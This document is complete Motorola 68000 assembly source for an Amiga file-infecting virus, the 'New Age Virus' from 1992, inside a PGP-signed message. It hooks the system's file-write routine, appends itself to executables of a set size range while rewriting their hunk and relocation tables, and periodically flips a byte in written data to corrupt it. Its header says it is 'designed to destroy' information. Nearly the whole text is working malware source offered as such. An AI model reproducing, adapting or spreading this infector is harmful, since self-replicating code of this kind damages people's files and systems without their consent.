-----BEGIN PGP SIGNED MESSAGE-----

	*************************************************
	*						*
	*	New Age Virus © 1992 By Evil Jesus	*
	*						*
	*************************************************

	; New Age - designed to destroy
	; Primary target  : Information
	; Secondary target: Mind

	BASEREG	MyBase,A4

	INCLUDE	exec/exec_lib.i
	INCLUDE	exec/memory.i
	INCLUDE	libraries/dos_lib.i
	INCLUDE	libraries/dos.i

CALL	MACRO
	jsr	\1(a4)
	ENDM

LIB	MACRO
	jsr	_lvo\1(a6)
	ENDM

Agression	= 50
Minfile		= 4096		; minumum size of file to infect
Maxfile		= 65536		; maximum size of file to infect

	SECTION	NewAge,code

* StartUp (Virus starts executing itself or stops)

Start
	movem.l	d0-d7/a0-a6,-(sp)
	lea	MyBase(pc),a4
	move.l	$4.w,a6
	lea	Dos(a4),a1
	LIB	OLDOPENLIBRARY
	move.l	d0,a2
	move.l	ID(a4),d0
	cmp.w	#$4ef9,-48(a2)
	bne.s	die
	move.l	-48+2(a2),a0
	cmp.l	ID-Write(a0),d0
	beq.s	die
	move.l	(a4),d0
	moveq	#MEMF_PUBLIC,d1
	LIB	ALLOCMEM
	tst.l	d0
	beq.s	die
	move.l	a4,-(sp)
	move.l	d0,a1
	lea	Start(a4),a0
	move.l	(a4),d1
	subq.w	#1,d1
.loop	move.b	(a0)+,(a1)+
	dbf	d1,.loop
	lea	-[Fullend-MyBase](a1),a4
	jmp	new(a4)
new	lea	Write(a4),a0
	move.l	-48+2(a2),L01(a4)
	move.l	a0,-48+2(a2)
	move.l	(sp)+,a4
die	move.l	a2,a1
	LIB	CLOSELIBRARY
	jmp	Realprog(a4)	; real programcode starts

* Infector

Write
	movem.l	d2-d7/a2-a6,-(sp)
	lea	MyBase(pc),a4
	cmp.l	#Minfile,d3
	blo.s	nofile
	CALL	Checkit
	tst.l	d0
	bne.s	nofile
	CALL	Modify
	tst.l	d4
	bne.s	nofile
	tst.l	d0
	bmi.s	savesuck
	addq.l	#1,Count(a4)
	sub.l	(a4),d0
	bra.s	savesuck
nofile	lea	Suckit(a4),a3
	subq.w	#1,(a3)		; corrupt
	bne.s	saved
	move.l	d2,a2
	move.l	d3,d4
	lsr.l	#1,d4
	not.b	0(a2,d4.l)
saved	move.l	L01(a4),a0
	jsr	(a0)
	tst.w	(a3)
	bne.s	savesuck
	move.w	#Agression,(a3)
	not.b	0(a2,d4.l)
savesuck
	movem.l	(sp)+,d2-d7/a2-a6
	rts

* Global data & routines

Checkit	* Check filebuffer
	; D1 = handle
	; D2 = buffer
	; D3 = size
	; D0 = result / 0=ok
	move.l	ID(a4),d0
	btst	#0,d2
	bne.s	fail
	move.l	d2,a0
	cmp.l	#$3f3,(a0)
	bne.s	fail
	cmp.l	#$3f2,-4(a0,d3.l)
	bne.s	fail
	tst.l	4(a0)
	bne.s	fail
	move.l	8(a0),d4
	lsl.l	#2,d4
	lea	30(a0,d4.l),a0		; firstcode+2
	cmp.l	[ID-Start]-2(a0),d0
	beq.s	fail
	cmp.w	#$4afc,(a0)
	beq.s	fail
	cmp.w	#$4e75,(a0)+
	beq.b	fail
	cmp.w	#$4afc,(a0)
	beq.s	fail
	cmp.l	#Maxfile,d3
	bhi.s	fail
	moveq	#0,d0
fail	rts

Modify	* Modify file and save it
	; D1 = handle
	; D2 = buffer
	; D3 = size
	; D0 = result / savedsize
	; D4 = result / 0=ok
	moveq	#-1,d4
	moveq	#0,d7
	move.l	d3,d0
	add.l	(a4),d0
	move.l	d0,a5
	movem.l	d1/a6,-(sp)
	moveq	#MEMF_PUBLIC,d1
	move.l	$4.w,a6
	LIB	ALLOCMEM
	movem.l	(sp)+,d1/a6
	tst.l	d0
	beq.w	noalloc
	move.l	d2,a2
	move.l	d0,a3
	move.l	d3,d5
	move.l	a3,-(sp)
	move.l	(a2)+,(a3)+
	move.l	(a2)+,(a3)+
	move.l	(a2)+,d6	; hunks
	move.l	d6,(a3)+
	move.l	(a2)+,(a3)+
	move.l	(a2)+,(a3)+
	move.l	(a2)+,(a3)
	move.l	(a4),d0
	lsr.l	#2,d0
	add.l	d0,(a3)+	; hunksize
	sub.l	#24,d5
	bmi.w	fail2
	subq.l	#2,d6
	bmi.s	one
.loop	move.l	(a2)+,(a3)+
	subq.l	#4,d5
	bmi.w	fail2
	dbf	d6,.loop
one	move.l	(a2)+,(a3)+
	move.l	(a2)+,d6
	add.l	d6,d0
	move.l	d0,(a3)+
	subq.l	#8,d5
	bmi.w	fail2
	lea	Start(a4),a0
	move.l	(a4),d0
	lsr.l	#2,d0
	subq.w	#1,d0
.loop	move.l	(a0)+,(a3)+
	dbf	d0,.loop
	bra.s	enter
hunkmore
	move.l	(a2)+,(a3)+	; hunktype
	subq.l	#4,d5
	beq.w	modifyok
	cmp.l	#$3f2,-4(a3)
	bne.s	hunkmore2
	moveq	#-1,d7
	bra.s	hunkmore
hunkmore2
	cmp.l	#$3ec,-4(a3)
	beq.s	hunkit
	move.l	(a2)+,d6	; hunksize/4
	subq.l	#4,d5
	move.l	d6,(a3)+
	beq.s	hunkmore
enter	and.l	#$3fffffff,d6
	lsl.l	#2,d6
	sub.l	d6,d5
	bmi.w	fail2
	lsr.l	#2,d6
	move.l	a3,a1
.loop	move.l	(a2)+,(a3)+
	subq.l	#1,d6
	bne.s	.loop
	bra.s	hunkmore
relmore	move.l	d6,(a3)+
	move.l	(a2)+,(a3)+
	lsl.l	#2,d6
	sub.l	d6,d5
	subq.l	#8,d5
	bmi.s	fail2
	lsr.l	#2,d6
	tst.b	d7
	beq.s	relocmodify1
	tst.l	-4(a3)
	beq.s	relocmodify3
.loop	move.l	(a2)+,(a3)+
	subq.l	#1,d6
	bne.s	.loop
hunkit	move.l	(a2)+,d6	; offsetcount
	bne.s	relmore
	move.l	d6,(a3)+
	subq.l	#4,d5
	bra.s	hunkmore
relocmodify1
	tst.l	-4(a3)
	beq.s	relocmodify2
	move.l	(a4),d0
.loop	move.l	(a2)+,(a3)
	add.l	d0,(a3)+
	subq.l	#1,d6
	bne.s	.loop
	bra.s	hunkit
relocmodify2
	move.l	(a4),d0
.loop	move.l	(a2)+,d4
	add.l	d0,d4
	add.l	d0,0(a1,d4.l)
	move.l	d4,(a3)+
	subq.l	#1,d6
	bne.s	.loop
	moveq	#-1,d4
	bra.s	hunkit
relocmodify3
	move.l	(a4),d0
.loop	move.l	(a2)+,d4
	add.l	d0,0(a1,d4.l)
	move.l	d4,(a3)+
	subq.l	#1,d6
	bne.s	.loop
	moveq	#-1,d4
	bra.s	hunkit
modifyok
	cmp.l	#$3f2,-4(a3)
	bne.s	fail2
	moveq	#0,d4
	move.l	(sp),d2
	move.l	a5,d3
	move.l	L01(a4),a0
	jsr	(a0)		; write
fail2	move.l	(sp)+,a1
	movem.l	d0-d1/a6,-(sp)
	move.l	a5,d0
	move.l	$4.w,a6
	LIB	FREEMEM
	movem.l	(sp)+,d0-d1/a6
noalloc	rts

MyBase
Size	dc.l	FullEnd-Start	; MUST BE BASE + 0
L01	dc.l	0
Count	dc.l	0
Suckit	dc.w	Agression
ID	dc.b	'New Age Virus © 1992 By Evil Jesus'
Dos	dc.b	'dos.library',0
	EVEN
	dc.w	0	; (pad-word) fullend-start = 666 bytes
Realprog
	movem.l	(sp)+,d0-d7/a0-a6
Fullend	rts	; LONGWORD ALIGNED!!!

-----BEGIN PGP SIGNATURE-----
Version: 2.3a.2

iQBFAgUBLaT14o3j8jX6L7S9AQHvvgF/Z7+pLAnAkeAubHpyy3oY1znziQdwuvfQ
OF/26CCvUp2ycFDClTFltR5RCpTZeSev
=oqLl
-----END PGP SIGNATURE-----
